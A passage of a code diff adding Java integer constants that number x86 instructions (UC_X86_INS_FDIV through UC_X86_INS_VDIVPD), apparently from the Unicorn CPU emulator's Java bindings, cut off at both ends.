145; + public static final int UC_X86_INS_FDIV = 146; + public static final int UC_X86_INS_FIDIV = 147; + public static final int UC_X86_INS_FDIVP = 148; + public static final int UC_X86_INS_DPPD = 149; + public static final int UC_X86_INS_DPPS = 150; + public static final int UC_X86_INS_RET = 151; + public static final int UC_X86_INS_ENCLS = 152; + public static final int UC_X86_INS_ENCLU = 153; + public static final int UC_X86_INS_ENTER = 154; + public static final int UC_X86_INS_EXTRACTPS = 155; + public static final int UC_X86_INS_EXTRQ = 156; + public static final int UC_X86_INS_F2XM1 = 157; + public static final int UC_X86_INS_LCALL = 158; + public static final int UC_X86_INS_LJMP = 159; + public static final int UC_X86_INS_FBLD = 160; + public static final int UC_X86_INS_FBSTP = 161; + public static final int UC_X86_INS_FCOMPP = 162; + public static final int UC_X86_INS_FDECSTP = 163; + public static final int UC_X86_INS_FEMMS = 164; + public static final int UC_X86_INS_FFREE = 165; + public static final int UC_X86_INS_FICOM = 166; + public static final int UC_X86_INS_FICOMP = 167; + public static final int UC_X86_INS_FINCSTP = 168; + public static final int UC_X86_INS_FLDCW = 169; + public static final int UC_X86_INS_FLDENV = 170; + public static final int UC_X86_INS_FLDL2E = 171; + public static final int UC_X86_INS_FLDL2T = 172; + public static final int UC_X86_INS_FLDLG2 = 173; + public static final int UC_X86_INS_FLDLN2 = 174; + public static final int UC_X86_INS_FLDPI = 175; + public static final int UC_X86_INS_FNCLEX = 176; + public static final int UC_X86_INS_FNINIT = 177; + public static final int UC_X86_INS_FNOP = 178; + public static final int UC_X86_INS_FNSTCW = 179; + public static final int UC_X86_INS_FNSTSW = 180; + public static final int UC_X86_INS_FPATAN = 181; + public static final int UC_X86_INS_FPREM = 182; + public static final int UC_X86_INS_FPREM1 = 183; + public static final int UC_X86_INS_FPTAN = 184; + public static final int UC_X86_INS_FFREEP = 185; + public static final int UC_X86_INS_FRNDINT = 186; + public static final int UC_X86_INS_FRSTOR = 187; + public static final int UC_X86_INS_FNSAVE = 188; + public static final int UC_X86_INS_FSCALE = 189; + public static final int UC_X86_INS_FSETPM = 190; + public static final int UC_X86_INS_FSINCOS = 191; + public static final int UC_X86_INS_FNSTENV = 192; + public static final int UC_X86_INS_FXAM = 193; + public static final int UC_X86_INS_FXRSTOR = 194; + public static final int UC_X86_INS_FXRSTOR64 = 195; + public static final int UC_X86_INS_FXSAVE = 196; + public static final int UC_X86_INS_FXSAVE64 = 197; + public static final int UC_X86_INS_FXTRACT = 198; + public static final int UC_X86_INS_FYL2X = 199; + public static final int UC_X86_INS_FYL2XP1 = 200; + public static final int UC_X86_INS_MOVAPD = 201; + public static final int UC_X86_INS_MOVAPS = 202; + public static final int UC_X86_INS_ORPD = 203; + public static final int UC_X86_INS_ORPS = 204; + public static final int UC_X86_INS_VMOVAPD = 205; + public static final int UC_X86_INS_VMOVAPS = 206; + public static final int UC_X86_INS_XORPD = 207; + public static final int UC_X86_INS_XORPS = 208; + public static final int UC_X86_INS_GETSEC = 209; + public static final int UC_X86_INS_HADDPD = 210; + public static final int UC_X86_INS_HADDPS = 211; + public static final int UC_X86_INS_HLT = 212; + public static final int UC_X86_INS_HSUBPD = 213; + public static final int UC_X86_INS_HSUBPS = 214; + public static final int UC_X86_INS_IDIV = 215; + public static final int UC_X86_INS_FILD = 216; + public static final int UC_X86_INS_IMUL = 217; + public static final int UC_X86_INS_IN = 218; + public static final int UC_X86_INS_INC = 219; + public static final int UC_X86_INS_INSB = 220; + public static final int UC_X86_INS_INSERTPS = 221; + public static final int UC_X86_INS_INSERTQ = 222; + public static final int UC_X86_INS_INSD = 223; + public static final int UC_X86_INS_INSW = 224; + public static final int UC_X86_INS_INT = 225; + public static final int UC_X86_INS_INT1 = 226; + public static final int UC_X86_INS_INT3 = 227; + public static final int UC_X86_INS_INTO = 228; + public static final int UC_X86_INS_INVD = 229; + public static final int UC_X86_INS_INVEPT = 230; + public static final int UC_X86_INS_INVLPG = 231; + public static final int UC_X86_INS_INVLPGA = 232; + public static final int UC_X86_INS_INVPCID = 233; + public static final int UC_X86_INS_INVVPID = 234; + public static final int UC_X86_INS_IRET = 235; + public static final int UC_X86_INS_IRETD = 236; + public static final int UC_X86_INS_IRETQ = 237; + public static final int UC_X86_INS_FISTTP = 238; + public static final int UC_X86_INS_FIST = 239; + public static final int UC_X86_INS_FISTP = 240; + public static final int UC_X86_INS_UCOMISD = 241; + public static final int UC_X86_INS_UCOMISS = 242; + public static final int UC_X86_INS_VCOMISD = 243; + public static final int UC_X86_INS_VCOMISS = 244; + public static final int UC_X86_INS_VCVTSD2SS = 245; + public static final int UC_X86_INS_VCVTSI2SD = 246; + public static final int UC_X86_INS_VCVTSI2SS = 247; + public static final int UC_X86_INS_VCVTSS2SD = 248; + public static final int UC_X86_INS_VCVTTSD2SI = 249; + public static final int UC_X86_INS_VCVTTSD2USI = 250; + public static final int UC_X86_INS_VCVTTSS2SI = 251; + public static final int UC_X86_INS_VCVTTSS2USI = 252; + public static final int UC_X86_INS_VCVTUSI2SD = 253; + public static final int UC_X86_INS_VCVTUSI2SS = 254; + public static final int UC_X86_INS_VUCOMISD = 255; + public static final int UC_X86_INS_VUCOMISS = 256; + public static final int UC_X86_INS_JAE = 257; + public static final int UC_X86_INS_JA = 258; + public static final int UC_X86_INS_JBE = 259; + public static final int UC_X86_INS_JB = 260; + public static final int UC_X86_INS_JCXZ = 261; + public static final int UC_X86_INS_JECXZ = 262; + public static final int UC_X86_INS_JE = 263; + public static final int UC_X86_INS_JGE = 264; + public static final int UC_X86_INS_JG = 265; + public static final int UC_X86_INS_JLE = 266; + public static final int UC_X86_INS_JL = 267; + public static final int UC_X86_INS_JMP = 268; + public static final int UC_X86_INS_JNE = 269; + public static final int UC_X86_INS_JNO = 270; + public static final int UC_X86_INS_JNP = 271; + public static final int UC_X86_INS_JNS = 272; + public static final int UC_X86_INS_JO = 273; + public static final int UC_X86_INS_JP = 274; + public static final int UC_X86_INS_JRCXZ = 275; + public static final int UC_X86_INS_JS = 276; + public static final int UC_X86_INS_KANDB = 277; + public static final int UC_X86_INS_KANDD = 278; + public static final int UC_X86_INS_KANDNB = 279; + public static final int UC_X86_INS_KANDND = 280; + public static final int UC_X86_INS_KANDNQ = 281; + public static final int UC_X86_INS_KANDNW = 282; + public static final int UC_X86_INS_KANDQ = 283; + public static final int UC_X86_INS_KANDW = 284; + public static final int UC_X86_INS_KMOVB = 285; + public static final int UC_X86_INS_KMOVD = 286; + public static final int UC_X86_INS_KMOVQ = 287; + public static final int UC_X86_INS_KMOVW = 288; + public static final int UC_X86_INS_KNOTB = 289; + public static final int UC_X86_INS_KNOTD = 290; + public static final int UC_X86_INS_KNOTQ = 291; + public static final int UC_X86_INS_KNOTW = 292; + public static final int UC_X86_INS_KORB = 293; + public static final int UC_X86_INS_KORD = 294; + public static final int UC_X86_INS_KORQ = 295; + public static final int UC_X86_INS_KORTESTB = 296; + public static final int UC_X86_INS_KORTESTD = 297; + public static final int UC_X86_INS_KORTESTQ = 298; + public static final int UC_X86_INS_KORTESTW = 299; + public static final int UC_X86_INS_KORW = 300; + public static final int UC_X86_INS_KSHIFTLB = 301; + public static final int UC_X86_INS_KSHIFTLD = 302; + public static final int UC_X86_INS_KSHIFTLQ = 303; + public static final int UC_X86_INS_KSHIFTLW = 304; + public static final int UC_X86_INS_KSHIFTRB = 305; + public static final int UC_X86_INS_KSHIFTRD = 306; + public static final int UC_X86_INS_KSHIFTRQ = 307; + public static final int UC_X86_INS_KSHIFTRW = 308; + public static final int UC_X86_INS_KUNPCKBW = 309; + public static final int UC_X86_INS_KXNORB = 310; + public static final int UC_X86_INS_KXNORD = 311; + public static final int UC_X86_INS_KXNORQ = 312; + public static final int UC_X86_INS_KXNORW = 313; + public static final int UC_X86_INS_KXORB = 314; + public static final int UC_X86_INS_KXORD = 315; + public static final int UC_X86_INS_KXORQ = 316; + public static final int UC_X86_INS_KXORW = 317; + public static final int UC_X86_INS_LAHF = 318; + public static final int UC_X86_INS_LAR = 319; + public static final int UC_X86_INS_LDDQU = 320; + public static final int UC_X86_INS_LDMXCSR = 321; + public static final int UC_X86_INS_LDS = 322; + public static final int UC_X86_INS_FLDZ = 323; + public static final int UC_X86_INS_FLD1 = 324; + public static final int UC_X86_INS_FLD = 325; + public static final int UC_X86_INS_LEA = 326; + public static final int UC_X86_INS_LEAVE = 327; + public static final int UC_X86_INS_LES = 328; + public static final int UC_X86_INS_LFENCE = 329; + public static final int UC_X86_INS_LFS = 330; + public static final int UC_X86_INS_LGDT = 331; + public static final int UC_X86_INS_LGS = 332; + public static final int UC_X86_INS_LIDT = 333; + public static final int UC_X86_INS_LLDT = 334; + public static final int UC_X86_INS_LMSW = 335; + public static final int UC_X86_INS_OR = 336; + public static final int UC_X86_INS_SUB = 337; + public static final int UC_X86_INS_XOR = 338; + public static final int UC_X86_INS_LODSB = 339; + public static final int UC_X86_INS_LODSD = 340; + public static final int UC_X86_INS_LODSQ = 341; + public static final int UC_X86_INS_LODSW = 342; + public static final int UC_X86_INS_LOOP = 343; + public static final int UC_X86_INS_LOOPE = 344; + public static final int UC_X86_INS_LOOPNE = 345; + public static final int UC_X86_INS_RETF = 346; + public static final int UC_X86_INS_RETFQ = 347; + public static final int UC_X86_INS_LSL = 348; + public static final int UC_X86_INS_LSS = 349; + public static final int UC_X86_INS_LTR = 350; + public static final int UC_X86_INS_XADD = 351; + public static final int UC_X86_INS_LZCNT = 352; + public static final int UC_X86_INS_MASKMOVDQU = 353; + public static final int UC_X86_INS_MAXPD = 354; + public static final int UC_X86_INS_MAXPS = 355; + public static final int UC_X86_INS_MAXSD = 356; + public static final int UC_X86_INS_MAXSS = 357; + public static final int UC_X86_INS_MFENCE = 358; + public static final int UC_X86_INS_MINPD = 359; + public static final int UC_X86_INS_MINPS = 360; + public static final int UC_X86_INS_MINSD = 361; + public static final int UC_X86_INS_MINSS = 362; + public static final int UC_X86_INS_CVTPD2PI = 363; + public static final int UC_X86_INS_CVTPI2PD = 364; + public static final int UC_X86_INS_CVTPI2PS = 365; + public static final int UC_X86_INS_CVTPS2PI = 366; + public static final int UC_X86_INS_CVTTPD2PI = 367; + public static final int UC_X86_INS_CVTTPS2PI = 368; + public static final int UC_X86_INS_EMMS = 369; + public static final int UC_X86_INS_MASKMOVQ = 370; + public static final int UC_X86_INS_MOVD = 371; + public static final int UC_X86_INS_MOVDQ2Q = 372; + public static final int UC_X86_INS_MOVNTQ = 373; + public static final int UC_X86_INS_MOVQ2DQ = 374; + public static final int UC_X86_INS_MOVQ = 375; + public static final int UC_X86_INS_PABSB = 376; + public static final int UC_X86_INS_PABSD = 377; + public static final int UC_X86_INS_PABSW = 378; + public static final int UC_X86_INS_PACKSSDW = 379; + public static final int UC_X86_INS_PACKSSWB = 380; + public static final int UC_X86_INS_PACKUSWB = 381; + public static final int UC_X86_INS_PADDB = 382; + public static final int UC_X86_INS_PADDD = 383; + public static final int UC_X86_INS_PADDQ = 384; + public static final int UC_X86_INS_PADDSB = 385; + public static final int UC_X86_INS_PADDSW = 386; + public static final int UC_X86_INS_PADDUSB = 387; + public static final int UC_X86_INS_PADDUSW = 388; + public static final int UC_X86_INS_PADDW = 389; + public static final int UC_X86_INS_PALIGNR = 390; + public static final int UC_X86_INS_PANDN = 391; + public static final int UC_X86_INS_PAND = 392; + public static final int UC_X86_INS_PAVGB = 393; + public static final int UC_X86_INS_PAVGW = 394; + public static final int UC_X86_INS_PCMPEQB = 395; + public static final int UC_X86_INS_PCMPEQD = 396; + public static final int UC_X86_INS_PCMPEQW = 397; + public static final int UC_X86_INS_PCMPGTB = 398; + public static final int UC_X86_INS_PCMPGTD = 399; + public static final int UC_X86_INS_PCMPGTW = 400; + public static final int UC_X86_INS_PEXTRW = 401; + public static final int UC_X86_INS_PHADDSW = 402; + public static final int UC_X86_INS_PHADDW = 403; + public static final int UC_X86_INS_PHADDD = 404; + public static final int UC_X86_INS_PHSUBD = 405; + public static final int UC_X86_INS_PHSUBSW = 406; + public static final int UC_X86_INS_PHSUBW = 407; + public static final int UC_X86_INS_PINSRW = 408; + public static final int UC_X86_INS_PMADDUBSW = 409; + public static final int UC_X86_INS_PMADDWD = 410; + public static final int UC_X86_INS_PMAXSW = 411; + public static final int UC_X86_INS_PMAXUB = 412; + public static final int UC_X86_INS_PMINSW = 413; + public static final int UC_X86_INS_PMINUB = 414; + public static final int UC_X86_INS_PMOVMSKB = 415; + public static final int UC_X86_INS_PMULHRSW = 416; + public static final int UC_X86_INS_PMULHUW = 417; + public static final int UC_X86_INS_PMULHW = 418; + public static final int UC_X86_INS_PMULLW = 419; + public static final int UC_X86_INS_PMULUDQ = 420; + public static final int UC_X86_INS_POR = 421; + public static final int UC_X86_INS_PSADBW = 422; + public static final int UC_X86_INS_PSHUFB = 423; + public static final int UC_X86_INS_PSHUFW = 424; + public static final int UC_X86_INS_PSIGNB = 425; + public static final int UC_X86_INS_PSIGND = 426; + public static final int UC_X86_INS_PSIGNW = 427; + public static final int UC_X86_INS_PSLLD = 428; + public static final int UC_X86_INS_PSLLQ = 429; + public static final int UC_X86_INS_PSLLW = 430; + public static final int UC_X86_INS_PSRAD = 431; + public static final int UC_X86_INS_PSRAW = 432; + public static final int UC_X86_INS_PSRLD = 433; + public static final int UC_X86_INS_PSRLQ = 434; + public static final int UC_X86_INS_PSRLW = 435; + public static final int UC_X86_INS_PSUBB = 436; + public static final int UC_X86_INS_PSUBD = 437; + public static final int UC_X86_INS_PSUBQ = 438; + public static final int UC_X86_INS_PSUBSB = 439; + public static final int UC_X86_INS_PSUBSW = 440; + public static final int UC_X86_INS_PSUBUSB = 441; + public static final int UC_X86_INS_PSUBUSW = 442; + public static final int UC_X86_INS_PSUBW = 443; + public static final int UC_X86_INS_PUNPCKHBW = 444; + public static final int UC_X86_INS_PUNPCKHDQ = 445; + public static final int UC_X86_INS_PUNPCKHWD = 446; + public static final int UC_X86_INS_PUNPCKLBW = 447; + public static final int UC_X86_INS_PUNPCKLDQ = 448; + public static final int UC_X86_INS_PUNPCKLWD = 449; + public static final int UC_X86_INS_PXOR = 450; + public static final int UC_X86_INS_MONITOR = 451; + public static final int UC_X86_INS_MONTMUL = 452; + public static final int UC_X86_INS_MOV = 453; + public static final int UC_X86_INS_MOVABS = 454; + public static final int UC_X86_INS_MOVBE = 455; + public static final int UC_X86_INS_MOVDDUP = 456; + public static final int UC_X86_INS_MOVDQA = 457; + public static final int UC_X86_INS_MOVDQU = 458; + public static final int UC_X86_INS_MOVHLPS = 459; + public static final int UC_X86_INS_MOVHPD = 460; + public static final int UC_X86_INS_MOVHPS = 461; + public static final int UC_X86_INS_MOVLHPS = 462; + public static final int UC_X86_INS_MOVLPD = 463; + public static final int UC_X86_INS_MOVLPS = 464; + public static final int UC_X86_INS_MOVMSKPD = 465; + public static final int UC_X86_INS_MOVMSKPS = 466; + public static final int UC_X86_INS_MOVNTDQA = 467; + public static final int UC_X86_INS_MOVNTDQ = 468; + public static final int UC_X86_INS_MOVNTI = 469; + public static final int UC_X86_INS_MOVNTPD = 470; + public static final int UC_X86_INS_MOVNTPS = 471; + public static final int UC_X86_INS_MOVNTSD = 472; + public static final int UC_X86_INS_MOVNTSS = 473; + public static final int UC_X86_INS_MOVSB = 474; + public static final int UC_X86_INS_MOVSD = 475; + public static final int UC_X86_INS_MOVSHDUP = 476; + public static final int UC_X86_INS_MOVSLDUP = 477; + public static final int UC_X86_INS_MOVSQ = 478; + public static final int UC_X86_INS_MOVSS = 479; + public static final int UC_X86_INS_MOVSW = 480; + public static final int UC_X86_INS_MOVSX = 481; + public static final int UC_X86_INS_MOVSXD = 482; + public static final int UC_X86_INS_MOVUPD = 483; + public static final int UC_X86_INS_MOVUPS = 484; + public static final int UC_X86_INS_MOVZX = 485; + public static final int UC_X86_INS_MPSADBW = 486; + public static final int UC_X86_INS_MUL = 487; + public static final int UC_X86_INS_MULPD = 488; + public static final int UC_X86_INS_MULPS = 489; + public static final int UC_X86_INS_MULSD = 490; + public static final int UC_X86_INS_MULSS = 491; + public static final int UC_X86_INS_MULX = 492; + public static final int UC_X86_INS_FMUL = 493; + public static final int UC_X86_INS_FIMUL = 494; + public static final int UC_X86_INS_FMULP = 495; + public static final int UC_X86_INS_MWAIT = 496; + public static final int UC_X86_INS_NEG = 497; + public static final int UC_X86_INS_NOP = 498; + public static final int UC_X86_INS_NOT = 499; + public static final int UC_X86_INS_OUT = 500; + public static final int UC_X86_INS_OUTSB = 501; + public static final int UC_X86_INS_OUTSD = 502; + public static final int UC_X86_INS_OUTSW = 503; + public static final int UC_X86_INS_PACKUSDW = 504; + public static final int UC_X86_INS_PAUSE = 505; + public static final int UC_X86_INS_PAVGUSB = 506; + public static final int UC_X86_INS_PBLENDVB = 507; + public static final int UC_X86_INS_PBLENDW = 508; + public static final int UC_X86_INS_PCLMULQDQ = 509; + public static final int UC_X86_INS_PCMPEQQ = 510; + public static final int UC_X86_INS_PCMPESTRI = 511; + public static final int UC_X86_INS_PCMPESTRM = 512; + public static final int UC_X86_INS_PCMPGTQ = 513; + public static final int UC_X86_INS_PCMPISTRI = 514; + public static final int UC_X86_INS_PCMPISTRM = 515; + public static final int UC_X86_INS_PCOMMIT = 516; + public static final int UC_X86_INS_PDEP = 517; + public static final int UC_X86_INS_PEXT = 518; + public static final int UC_X86_INS_PEXTRB = 519; + public static final int UC_X86_INS_PEXTRD = 520; + public static final int UC_X86_INS_PEXTRQ = 521; + public static final int UC_X86_INS_PF2ID = 522; + public static final int UC_X86_INS_PF2IW = 523; + public static final int UC_X86_INS_PFACC = 524; + public static final int UC_X86_INS_PFADD = 525; + public static final int UC_X86_INS_PFCMPEQ = 526; + public static final int UC_X86_INS_PFCMPGE = 527; + public static final int UC_X86_INS_PFCMPGT = 528; + public static final int UC_X86_INS_PFMAX = 529; + public static final int UC_X86_INS_PFMIN = 530; + public static final int UC_X86_INS_PFMUL = 531; + public static final int UC_X86_INS_PFNACC = 532; + public static final int UC_X86_INS_PFPNACC = 533; + public static final int UC_X86_INS_PFRCPIT1 = 534; + public static final int UC_X86_INS_PFRCPIT2 = 535; + public static final int UC_X86_INS_PFRCP = 536; + public static final int UC_X86_INS_PFRSQIT1 = 537; + public static final int UC_X86_INS_PFRSQRT = 538; + public static final int UC_X86_INS_PFSUBR = 539; + public static final int UC_X86_INS_PFSUB = 540; + public static final int UC_X86_INS_PHMINPOSUW = 541; + public static final int UC_X86_INS_PI2FD = 542; + public static final int UC_X86_INS_PI2FW = 543; + public static final int UC_X86_INS_PINSRB = 544; + public static final int UC_X86_INS_PINSRD = 545; + public static final int UC_X86_INS_PINSRQ = 546; + public static final int UC_X86_INS_PMAXSB = 547; + public static final int UC_X86_INS_PMAXSD = 548; + public static final int UC_X86_INS_PMAXUD = 549; + public static final int UC_X86_INS_PMAXUW = 550; + public static final int UC_X86_INS_PMINSB = 551; + public static final int UC_X86_INS_PMINSD = 552; + public static final int UC_X86_INS_PMINUD = 553; + public static final int UC_X86_INS_PMINUW = 554; + public static final int UC_X86_INS_PMOVSXBD = 555; + public static final int UC_X86_INS_PMOVSXBQ = 556; + public static final int UC_X86_INS_PMOVSXBW = 557; + public static final int UC_X86_INS_PMOVSXDQ = 558; + public static final int UC_X86_INS_PMOVSXWD = 559; + public static final int UC_X86_INS_PMOVSXWQ = 560; + public static final int UC_X86_INS_PMOVZXBD = 561; + public static final int UC_X86_INS_PMOVZXBQ = 562; + public static final int UC_X86_INS_PMOVZXBW = 563; + public static final int UC_X86_INS_PMOVZXDQ = 564; + public static final int UC_X86_INS_PMOVZXWD = 565; + public static final int UC_X86_INS_PMOVZXWQ = 566; + public static final int UC_X86_INS_PMULDQ = 567; + public static final int UC_X86_INS_PMULHRW = 568; + public static final int UC_X86_INS_PMULLD = 569; + public static final int UC_X86_INS_POP = 570; + public static final int UC_X86_INS_POPAW = 571; + public static final int UC_X86_INS_POPAL = 572; + public static final int UC_X86_INS_POPCNT = 573; + public static final int UC_X86_INS_POPF = 574; + public static final int UC_X86_INS_POPFD = 575; + public static final int UC_X86_INS_POPFQ = 576; + public static final int UC_X86_INS_PREFETCH = 577; + public static final int UC_X86_INS_PREFETCHNTA = 578; + public static final int UC_X86_INS_PREFETCHT0 = 579; + public static final int UC_X86_INS_PREFETCHT1 = 580; + public static final int UC_X86_INS_PREFETCHT2 = 581; + public static final int UC_X86_INS_PREFETCHW = 582; + public static final int UC_X86_INS_PSHUFD = 583; + public static final int UC_X86_INS_PSHUFHW = 584; + public static final int UC_X86_INS_PSHUFLW = 585; + public static final int UC_X86_INS_PSLLDQ = 586; + public static final int UC_X86_INS_PSRLDQ = 587; + public static final int UC_X86_INS_PSWAPD = 588; + public static final int UC_X86_INS_PTEST = 589; + public static final int UC_X86_INS_PUNPCKHQDQ = 590; + public static final int UC_X86_INS_PUNPCKLQDQ = 591; + public static final int UC_X86_INS_PUSH = 592; + public static final int UC_X86_INS_PUSHAW = 593; + public static final int UC_X86_INS_PUSHAL = 594; + public static final int UC_X86_INS_PUSHF = 595; + public static final int UC_X86_INS_PUSHFD = 596; + public static final int UC_X86_INS_PUSHFQ = 597; + public static final int UC_X86_INS_RCL = 598; + public static final int UC_X86_INS_RCPPS = 599; + public static final int UC_X86_INS_RCPSS = 600; + public static final int UC_X86_INS_RCR = 601; + public static final int UC_X86_INS_RDFSBASE = 602; + public static final int UC_X86_INS_RDGSBASE = 603; + public static final int UC_X86_INS_RDMSR = 604; + public static final int UC_X86_INS_RDPMC = 605; + public static final int UC_X86_INS_RDRAND = 606; + public static final int UC_X86_INS_RDSEED = 607; + public static final int UC_X86_INS_RDTSC = 608; + public static final int UC_X86_INS_RDTSCP = 609; + public static final int UC_X86_INS_ROL = 610; + public static final int UC_X86_INS_ROR = 611; + public static final int UC_X86_INS_RORX = 612; + public static final int UC_X86_INS_ROUNDPD = 613; + public static final int UC_X86_INS_ROUNDPS = 614; + public static final int UC_X86_INS_ROUNDSD = 615; + public static final int UC_X86_INS_ROUNDSS = 616; + public static final int UC_X86_INS_RSM = 617; + public static final int UC_X86_INS_RSQRTPS = 618; + public static final int UC_X86_INS_RSQRTSS = 619; + public static final int UC_X86_INS_SAHF = 620; + public static final int UC_X86_INS_SAL = 621; + public static final int UC_X86_INS_SALC = 622; + public static final int UC_X86_INS_SAR = 623; + public static final int UC_X86_INS_SARX = 624; + public static final int UC_X86_INS_SBB = 625; + public static final int UC_X86_INS_SCASB = 626; + public static final int UC_X86_INS_SCASD = 627; + public static final int UC_X86_INS_SCASQ = 628; + public static final int UC_X86_INS_SCASW = 629; + public static final int UC_X86_INS_SETAE = 630; + public static final int UC_X86_INS_SETA = 631; + public static final int UC_X86_INS_SETBE = 632; + public static final int UC_X86_INS_SETB = 633; + public static final int UC_X86_INS_SETE = 634; + public static final int UC_X86_INS_SETGE = 635; + public static final int UC_X86_INS_SETG = 636; + public static final int UC_X86_INS_SETLE = 637; + public static final int UC_X86_INS_SETL = 638; + public static final int UC_X86_INS_SETNE = 639; + public static final int UC_X86_INS_SETNO = 640; + public static final int UC_X86_INS_SETNP = 641; + public static final int UC_X86_INS_SETNS = 642; + public static final int UC_X86_INS_SETO = 643; + public static final int UC_X86_INS_SETP = 644; + public static final int UC_X86_INS_SETS = 645; + public static final int UC_X86_INS_SFENCE = 646; + public static final int UC_X86_INS_SGDT = 647; + public static final int UC_X86_INS_SHA1MSG1 = 648; + public static final int UC_X86_INS_SHA1MSG2 = 649; + public static final int UC_X86_INS_SHA1NEXTE = 650; + public static final int UC_X86_INS_SHA1RNDS4 = 651; + public static final int UC_X86_INS_SHA256MSG1 = 652; + public static final int UC_X86_INS_SHA256MSG2 = 653; + public static final int UC_X86_INS_SHA256RNDS2 = 654; + public static final int UC_X86_INS_SHL = 655; + public static final int UC_X86_INS_SHLD = 656; + public static final int UC_X86_INS_SHLX = 657; + public static final int UC_X86_INS_SHR = 658; + public static final int UC_X86_INS_SHRD = 659; + public static final int UC_X86_INS_SHRX = 660; + public static final int UC_X86_INS_SHUFPD = 661; + public static final int UC_X86_INS_SHUFPS = 662; + public static final int UC_X86_INS_SIDT = 663; + public static final int UC_X86_INS_FSIN = 664; + public static final int UC_X86_INS_SKINIT = 665; + public static final int UC_X86_INS_SLDT = 666; + public static final int UC_X86_INS_SMSW = 667; + public static final int UC_X86_INS_SQRTPD = 668; + public static final int UC_X86_INS_SQRTPS = 669; + public static final int UC_X86_INS_SQRTSD = 670; + public static final int UC_X86_INS_SQRTSS = 671; + public static final int UC_X86_INS_FSQRT = 672; + public static final int UC_X86_INS_STAC = 673; + public static final int UC_X86_INS_STC = 674; + public static final int UC_X86_INS_STD = 675; + public static final int UC_X86_INS_STGI = 676; + public static final int UC_X86_INS_STI = 677; + public static final int UC_X86_INS_STMXCSR = 678; + public static final int UC_X86_INS_STOSB = 679; + public static final int UC_X86_INS_STOSD = 680; + public static final int UC_X86_INS_STOSQ = 681; + public static final int UC_X86_INS_STOSW = 682; + public static final int UC_X86_INS_STR = 683; + public static final int UC_X86_INS_FST = 684; + public static final int UC_X86_INS_FSTP = 685; + public static final int UC_X86_INS_FSTPNCE = 686; + public static final int UC_X86_INS_FXCH = 687; + public static final int UC_X86_INS_SUBPD = 688; + public static final int UC_X86_INS_SUBPS = 689; + public static final int UC_X86_INS_FSUBR = 690; + public static final int UC_X86_INS_FISUBR = 691; + public static final int UC_X86_INS_FSUBRP = 692; + public static final int UC_X86_INS_SUBSD = 693; + public static final int UC_X86_INS_SUBSS = 694; + public static final int UC_X86_INS_FSUB = 695; + public static final int UC_X86_INS_FISUB = 696; + public static final int UC_X86_INS_FSUBP = 697; + public static final int UC_X86_INS_SWAPGS = 698; + public static final int UC_X86_INS_SYSCALL = 699; + public static final int UC_X86_INS_SYSENTER = 700; + public static final int UC_X86_INS_SYSEXIT = 701; + public static final int UC_X86_INS_SYSRET = 702; + public static final int UC_X86_INS_T1MSKC = 703; + public static final int UC_X86_INS_TEST = 704; + public static final int UC_X86_INS_UD2 = 705; + public static final int UC_X86_INS_FTST = 706; + public static final int UC_X86_INS_TZCNT = 707; + public static final int UC_X86_INS_TZMSK = 708; + public static final int UC_X86_INS_FUCOMPI = 709; + public static final int UC_X86_INS_FUCOMI = 710; + public static final int UC_X86_INS_FUCOMPP = 711; + public static final int UC_X86_INS_FUCOMP = 712; + public static final int UC_X86_INS_FUCOM = 713; + public static final int UC_X86_INS_UD2B = 714; + public static final int UC_X86_INS_UNPCKHPD = 715; + public static final int UC_X86_INS_UNPCKHPS = 716; + public static final int UC_X86_INS_UNPCKLPD = 717; + public static final int UC_X86_INS_UNPCKLPS = 718; + public static final int UC_X86_INS_VADDPD = 719; + public static final int UC_X86_INS_VADDPS = 720; + public static final int UC_X86_INS_VADDSD = 721; + public static final int UC_X86_INS_VADDSS = 722; + public static final int UC_X86_INS_VADDSUBPD = 723; + public static final int UC_X86_INS_VADDSUBPS = 724; + public static final int UC_X86_INS_VAESDECLAST = 725; + public static final int UC_X86_INS_VAESDEC = 726; + public static final int UC_X86_INS_VAESENCLAST = 727; + public static final int UC_X86_INS_VAESENC = 728; + public static final int UC_X86_INS_VAESIMC = 729; + public static final int UC_X86_INS_VAESKEYGENASSIST = 730; + public static final int UC_X86_INS_VALIGND = 731; + public static final int UC_X86_INS_VALIGNQ = 732; + public static final int UC_X86_INS_VANDNPD = 733; + public static final int UC_X86_INS_VANDNPS = 734; + public static final int UC_X86_INS_VANDPD = 735; + public static final int UC_X86_INS_VANDPS = 736; + public static final int UC_X86_INS_VBLENDMPD = 737; + public static final int UC_X86_INS_VBLENDMPS = 738; + public static final int UC_X86_INS_VBLENDPD = 739; + public static final int UC_X86_INS_VBLENDPS = 740; + public static final int UC_X86_INS_VBLENDVPD = 741; + public static final int UC_X86_INS_VBLENDVPS = 742; + public static final int UC_X86_INS_VBROADCASTF128 = 743; + public static final int UC_X86_INS_VBROADCASTI32X4 = 744; + public static final int UC_X86_INS_VBROADCASTI64X4 = 745; + public static final int UC_X86_INS_VBROADCASTSD = 746; + public static final int UC_X86_INS_VBROADCASTSS = 747; + public static final int UC_X86_INS_VCMPPD = 748; + public static final int UC_X86_INS_VCMPPS = 749; + public static final int UC_X86_INS_VCMPSD = 750; + public static final int UC_X86_INS_VCMPSS = 751; + public static final int UC_X86_INS_VCOMPRESSPD = 752; + public static final int UC_X86_INS_VCOMPRESSPS = 753; + public static final int UC_X86_INS_VCVTDQ2PD = 754; + public static final int UC_X86_INS_VCVTDQ2PS = 755; + public static final int UC_X86_INS_VCVTPD2DQX = 756; + public static final int UC_X86_INS_VCVTPD2DQ = 757; + public static final int UC_X86_INS_VCVTPD2PSX = 758; + public static final int UC_X86_INS_VCVTPD2PS = 759; + public static final int UC_X86_INS_VCVTPD2UDQ = 760; + public static final int UC_X86_INS_VCVTPH2PS = 761; + public static final int UC_X86_INS_VCVTPS2DQ = 762; + public static final int UC_X86_INS_VCVTPS2PD = 763; + public static final int UC_X86_INS_VCVTPS2PH = 764; + public static final int UC_X86_INS_VCVTPS2UDQ = 765; + public static final int UC_X86_INS_VCVTSD2SI = 766; + public static final int UC_X86_INS_VCVTSD2USI = 767; + public static final int UC_X86_INS_VCVTSS2SI = 768; + public static final int UC_X86_INS_VCVTSS2USI = 769; + public static final int UC_X86_INS_VCVTTPD2DQX = 770; + public static final int UC_X86_INS_VCVTTPD2DQ = 771; + public static final int UC_X86_INS_VCVTTPD2UDQ = 772; + public static final int UC_X86_INS_VCVTTPS2DQ = 773; + public static final int UC_X86_INS_VCVTTPS2UDQ = 774; + public static final int UC_X86_INS_VCVTUDQ2PD = 775; + public static final int UC_X86_INS_VCVTUDQ2PS = 776; + public static final int UC_X86_INS_VDIVPD = 777; + public static final int 